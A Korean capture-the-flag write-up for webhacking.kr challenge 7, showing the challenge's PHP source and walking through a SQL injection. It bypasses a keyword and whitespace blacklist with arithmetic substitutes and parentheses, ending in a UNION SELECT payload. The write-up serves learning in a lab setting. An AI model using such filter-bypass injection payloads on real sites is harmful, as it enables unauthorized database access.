[webhacking.kr] 7번 문제 풀이[SQL]
💡 Webhacking.kr challenge(old) 7번 문제에 대한 풀이입니다.
문제
문제 화면
소스코드
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
풀이
문제 분석
문제를 해결하기 위한 solve함수가 호출되는 부분은 다음과 같습니다.
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
위 부분의 로직만 분석해 보면, DB쿼리 결과로 나온 result에서 데이터를 가져왔을 때
- 데이터가 없으면 : query error
- 데이터가 1이면 : 화면에 ‘auth’ 버튼을 만들고 누르면, Access_Denied가 표시
- 데이터가 2이면 : Solve
따라서 결론적으로 본 문제를 DB에서 쿼리 결과로 2
라는 값이 나오게 해야 합니다.
그럼 DB의 쿼리문을 보면 아래와 같습니다.
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
위의 코드에서 랜덤은 별로 중요하지 않습니다. 랜덤 값은 어차피 계속 시도하면 바뀌니까 헷갈리게 5가지를 생각하지 않고, $rand값이 1이라 가정하고 문제를 풀면 됩니다. 즉 다음의 쿼리문만 분석하면 됩니다.
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
쿼리문은 select lv from chall7 where lv = ( '입력 값' )
입니다.
아주 쉽게 생각하면 입력으로 2만 입력하면 끝인데, 코드를 보면 맨 처음 입력에 대해서 필터링을 수행합니다.
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
위의 필터링으로 필터링 되는 문자들은 다음과 같습니다.
[2
, -
, +
, from
, _
, =
, \\s
, *
, /
]
이중 \\s
는 띄어쓰기 문자 %20, %0a, %09를 모두 필터링 합니다.
즉 위의 문자들을 이용하지 않고 다른 케이스를 생각해서 db의 결과로 2가 나오게 하면 됩니다.
일단 먼저 생각해야 할 것은 2가 입력이 안되니까 어떻게든 SQL에서 2를 만들어야 합니다. 2를 만드는 방법은 정말 다양한데, 다음 문서를 참고하면서 2를 만드는 방법을 찾으면 됩니다.
대부분의 연산자를 활용해서 2를 만들 수 있습니다. 예를 들어
6&10
16>>3
5%3
등등 매우 다양한 방법이 있습니다.
위의 방식들 모두 문제에서 주어진 사칙연산 및 다른 필터링을 모두 우회하기 때문에 입력 값으로 넣어봅니다.
하지만 응답 결과를 보면 만약 입력 값이 필터링에 걸렸다면 다음 함수에 의해 Access Denied
가 걸려야 하는데, query error가 나왔습니다.
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
쿼리 에러가 나오는 부분은 DB 쿼리 결과로 부터 아무런 값을 받지 못했다는 것입니다.
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
여기서 생각 해야 할 것은 이 부분까지 코드가 실행 된것은 정상적으로 쿼리가 실행 되었지만 DB에 lv = 2라는 컬럼이 없다는 뜻입니다.
즉, DB에 존재하지 않는 lv = 2 컬럼을 만들어서 반환을 해야 하므로 Union Select 구문을 이용해야 합니다.
아래 쿼리는 union select 문의 예시로 동일한 이름의 컬럼을 반환하는 select문을 합칠 수 있는 게 union select 문입니다. 만약 한쪽 select에서 반환 값이 없어도 다른 쪽에서 값을 주면 다음 그림처럼 값을 반환하게 할 수 있습니다.
필터링 문자를 다시 보면
[2
, -
, +
, from
, _
, =
, \\s
, *
, /
]
문제에 Union select 2를 입력하려면 \\s
때문에 띄어쓰기를 우회하는 방법을 찾아야 한다.
그 방법은 다음과 같이 괄호를 이용하는 방법이 있습니다.
본 문제에서는 입력 값이 다음의 sql문에 그대로 삽입이 되므로 이를 지금까지 정리한 내용을 바탕으로
- 2를 다른 연산으로 표현하여 우회
- 띄어쓰기를 괄호를 사용하여 우회
하여서 나온 최종 쿼리는 다음과 같습니다.
입력 값 : 999)union(select(16>>3)
이렇게 되면 저의 쿼리가 웹서버에서 다음과 같이 처리 될 것입니다.
select lv from chall7 where lv=(999)union(select(16>>3))
시도하면 그림과 같이 rand = 1이 될때까지 틀린 값이 시도되다가 풀리는 것을 볼 수 있습니다.
댓글남기기